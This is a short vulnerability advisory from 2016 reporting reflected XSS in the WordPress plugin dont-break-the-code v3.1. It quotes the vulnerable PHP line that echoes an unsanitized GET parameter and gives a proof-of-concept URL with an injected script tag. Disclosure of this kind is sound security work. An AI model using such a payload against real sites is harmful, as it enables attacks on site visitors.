Advisory #: 551
Title: Reflected XSS in wordpress plugin dont-break-the-code v.3.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/dont-break-the-code
Downloads: 1797
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: dont-break-the-code
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./dont-break-the-code/dont-break-the-code.php: 82: data = 'action=dbtc_save&post=<?php echo $_GET["post"]; ?>&dbtc_disable_visual=' + checked; The variable post appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./dont-break-the-code/dont-break-the-code.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/dont-break-the-code/dont-break-the-code.php?post="><script>alert(1);</script><"